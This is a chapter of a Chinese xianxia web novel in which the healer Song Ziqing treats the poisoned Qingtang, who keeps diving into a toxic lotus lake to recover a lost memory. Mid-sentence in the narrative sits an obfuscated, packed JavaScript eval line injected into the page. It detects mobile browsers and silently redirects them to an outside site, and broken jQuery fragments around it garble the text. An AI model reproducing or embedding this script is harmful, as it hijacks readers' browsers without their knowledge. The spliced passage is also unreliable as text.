106.第一百零六章

作品:《合欢宗主和他的七个黑化前任

    东溪谷中鲜有人在,只有青棠和宋孜卿互相做伴。


    宋孜卿好像从来没有闲下来过,每日三更睡五更起,早上出去寻药,回来给青棠疗毒,接着钻研医典直到深夜。


    青棠要么睁眼,要么闭眼,偶尔让宋孜卿带自己晒晒太阳。


    又过了一个月,青棠身上的毒血排得差不多,马上就能下地行走了。


    宋孜卿依旧每日给青棠施针、熬药,看着他慢慢恢复,心情也很好。


    青棠每次看着宋孜卿神色专注地施针,总能在他眼底寻到一丝兴奋。


    仿佛能从扎针解毒这件事上获得刺激和快感。


    施针后,宋孜卿将银针收回,放入水中施法清洗,银针在旋转的水窝中散发银光。


    青棠问:“你是什么病都能治,还是专攻某一个病?”


    “世间所有的病理都学过,主攻解毒。怎么,对我的事感兴趣?”


    “……我只是看你施针的时候有点兴奋。”


    怀疑你是不是变态。


    宋孜卿抬头看了青棠一眼,“我不是因为施针兴奋,我是对毒药兴奋。”


    “毒药?”


    “解毒就像解决一道谜题,我喜欢解题,琢磨对方在毒药里面用了什么成分,要用什么才能化解。救人于水火,和地府抢人,不够刺激吗?”


    “确实刺激。”


    青棠坐起来穿上衣服,扶着床头慢慢下地走动,双腿颤巍巍的,站不稳,必须扶着东西才能走。


    宋孜卿走过去,从青棠身后扶住他的手:“你躺了三个月,刚开始行走不要站太久。”


    “我还要多久才能恢复?”


    “还早,你体内的余毒未清干净,至少要一年才能恢复如初。”


    “这么久?”


    “要不然呢,你觉得索颐的毒很简单吗?”


    宋孜卿带青棠走到屋外站了一会,就带他走回去,继续躺着。


    翌日。


    青棠起来走动,打开屋门见宋孜卿正在院子里削竹子。


    他的头发用玉簪松散随意地束上,青衣垂地,手上拿着一把锋利的短刃将竹子多余的枝叶和表皮削掉。


    “醒了?”


    “嗯,你削竹子做什么?”


    “给你做竹杖。”宋孜卿施法将一把藤椅放到墙边,“坐一会,马上就好了。”


    “多谢你了。”


    青棠扶着墙坐下,看着宋孜卿比画了一下长短,砍掉多余的部分,打磨光滑。


    宋孜卿将竹杖递给青棠,青棠摸着竹杖,扶手处打磨得很光滑,没有一点竹刺。


    “你经常做竹杖吗?手法这么熟练。”


    宋孜卿看着竹杖稍作停顿,低头把刀收了起来,“做个竹杖有什么难的。”


    青棠问:“你给我解毒,我要给你多少灵石?”


    “不用给。”


    青棠以为宋孜卿看自己身上也没什么灵石,发了善心,“我看你用的药挺多的,采集灵药不容易,以后有机会还给你。”


    “药也不用。”


    “你这么大方?”


    宋孜卿朝青棠挑眉,“我当然不是大方,只是还没想好让你报答什么,先存在我这里。”


    青棠心想,也好,不要灵石和灵草,以后病好离开,宋孜卿应该也不会需要一个合欢宗男弟子帮什么忙吧,多给他介绍病人行了。


    “对了,你在发现我的地方,看到过别的人吗?”


    “没有,那里只有你一个人飘在湖水中。如果有,我肯定一起救了。”


    青棠点点头,杵着竹杖迈步朝院外走。


    宋孜卿走向一旁,用手翻动晾晒的草药,“还有和你一起中毒坠湖的人吗?”


    “我不太确定,中毒后我的五感都不灵了,看不清。”


    “以后恢复就想起来了。别走远了,到时候摔倒,我可听不见你叫我。”


    “我还不至于走几步就摔!”


    扑通。


    青棠摔倒在了草地上,艰难撑地。


    宋孜卿走过去揽着青棠的腰扶起来,“摔到哪里了?”


    “没有,我还没到一摔就坏的程度!”


    两人靠得很近,青棠杵着竹杖看向宋孜卿,“你今日没有事情可做?”


    “事情还多,但你不能给我伤着了。”


    “为什么?”


    “在你痊愈之前,你都是我的病人。你就在这里转转,不要出去了。”


    青棠在院门口来回走动了一圈,脚就发酸。


    医修的话果然是真的,他还不能长时间站立。


    没过多久,青棠就回到院子里休息了。


    -


    过了半月有余,青棠才可以随处走动。


    青棠回到坠湖的地方,往上看去山崖有百丈,也不知道自己是怎么跳下来的。


    他扒开荒草走到山崖上,打斗的痕迹早已消失,也没有留下任何尸骸。


    脑海中的影像和地方对上了,可是自己怎么逃过那帮绫波阁杀手,老爹如何,全然不知。


    青棠返回湖边,望着那一汪绽开龙葵紫睡莲的湖水,纵身跳了下去。


    宋孜卿正在附近摘灵药果实,听到响声走过去看,发现青棠正在湖里扑腾。


    他扔下背篓,跳入湖中游向青棠,“你想寻死吗?这里的湖水有毒!”


    青棠慌乱扑腾中已经呛进几口湖水,“有毒?”


    “湖水是被索颐的毒侵染过,睡莲才会变成那种颜色!”


    虽然过了几个月,湖水中的毒性有所减弱,但还是很危险,湖水四周都没有来饮水的鸟兽。


    宋孜卿把青棠捞上岸,他的湿发滴着水,按了按青棠的前胸,气喘吁吁地说:“醒醒!”


    青棠吐出几口水,咳嗽得脸颊泛红,“咳咳…”


    “我发现你的时候没有看到过别人,就算有人,现在早就已经腐烂发臭浮起来了。你还跳下去干什么?”


    微风吹过湿衣贴着身体开始发冷,青棠缓了缓神,望向头顶的宋孜卿:“我也不知道。”


    “不知道?自己会不会水不知道?!”


    宋孜卿心中升起了一股怒意,他千辛万苦,费尽周折救回来的人,怎么能这么不珍惜自己的性命?


    “早知道这样,我就不该救你,让你死在这里!”


    宋孜卿捡起背篓走了,没有等青棠。


    青棠站起来望着那汪湖水站了一会,自己是不是有什么很重要的事情给忘记了?


    绽开睡莲的湖水,对青棠有种吸引力,仿佛可以解开这些疑惑。


    湖水里会不会有什么?


    正当青棠想要再次跳下去时,宋孜卿回头把青棠拉走了。


    “哎?宋孜卿!”


    两人回去后,宋孜卿又给青棠灌了一碗汤药。


    夜里,青棠坐在黑暗中,看着宋孜卿房里的灯火熄灭,起身走出了屋子。


    青棠再次来到湖边,萤火虫在空中飞舞,湖水上的睡莲吐露幽然芬芳。


    他再次跳了下去,在昏暗的湖水中四处寻觅


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788187|150351||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,但是他自己都不知道在找什么。


    -


    宋孜卿躺在床上,想起白日里青棠跳湖的举动,不安的情绪涌上心头。


    他很少有不安的感觉。


    宋孜卿宽慰自己,可能是因为自己在青棠身上投入了许多心血,为他解毒,看到青棠跳湖才会有这样的反应。


    只要看好青棠,不让他靠近那个地方就行了。


    宋孜卿起身从窗户往青棠的房间望去,一切如常。


    合欢道不用吸纳灵气修炼,这个时候青棠应该在熟睡中。


    忽然,宋孜卿意识到不对劲,他再次看向青棠的屋门前发现竹杖不见了。


    青棠现在走路还不太稳,要出去的时候他会把竹杖带走的。


    宋卿孜急忙去青棠的屋内查看,床上果然空空如也,他匆匆离开院子,奔向莲湖。


    夜色朦胧,萤火虫的微光在湖边闪动,青棠脸色苍白地飘在睡莲丛中,就像初遇时的模样,只是胸前没了伤口。


    宋孜卿奋不顾身跳入湖中,把青棠捞起来。


    “青棠?”


    “青棠!你是魔障了吗?!”


    “你这个白眼狼,还我药钱再死!”


    青棠睁开眼看到宋孜卿正在注视着自己,猛地偏头吐了一摊水。


    宋孜卿抓住青棠的手腕,把他抱起来,“你再这样,我就把你关在屋子里不准出来!”


    青棠的湿发黏在润泽的脖颈上,双唇泛着水光,轻轻发颤,“我不要!”


    宋孜卿低沉道:“那你就不准来这里了。”


    青棠问:“你说你给我的药里加了有一味旋覆花,可能会导致我的记忆退行。有什么办法可以恢复吗?”


    宋孜卿皱起眉:“你不是一直记得你是谁吗?”


    “我记得我是谁,但是感觉有什么很重要的事情,我忘记了。我不知道忘记了什么,就像宿醉后不记得前一天发生的事情一样。”


    宋孜卿看向那片绽开睡莲的湖水,“所以你想在这里找到答案?”


    青棠点点头,“对。”


    “我用的剂量其实很小,也有可能是索颐的毒导致的,等药性散尽后或许能恢复。”


    “多久?”


    宋孜卿注视着青棠,“因人而异,也许三年,也许永远不会记起来。”


    给人希望,有时不是一件好事。好的、坏的,必须全部告诉病人。


    青棠望着绽开睡莲的湖水,陷入沉思。


    宋孜卿施法把两人身上的水汽去除,“至少你还活着,走吧,回去解毒。”


    第二天,青棠趁着宋孜卿出去采集灵草,又偷摸溜出来,想要跳进湖里。


    就在青棠即将跳下去的时候,一只手及时拉住了他的手腕。


    青棠转头看到宋孜卿出现,吓了一跳,“你怎么?”


    宋孜卿神色愠怒又有几分无奈,“真是,拿你没办法!”


    青棠望着宋孜卿,“我不来了!”


    宋孜卿的双眸如黑色旋涡,仿佛要将一切吞噬。


    到了某个节点,青棠越看越想撤退,他怕了。


    青棠根本不了解宋孜卿,他神秘莫测,难以捉摸,完全不像看起来那么简单。


    林中突然有了一声响动。


    宋孜卿放开了青棠的手,前去林中查看。


    昨日布置的陷阱钓到了一只灵雉,血有点少,加点灵草浆,每日一杯够七日的量。


    宋孜卿蹲下解开灵雉脚上的绳索,手上的青筋偾张,沉沉吐气。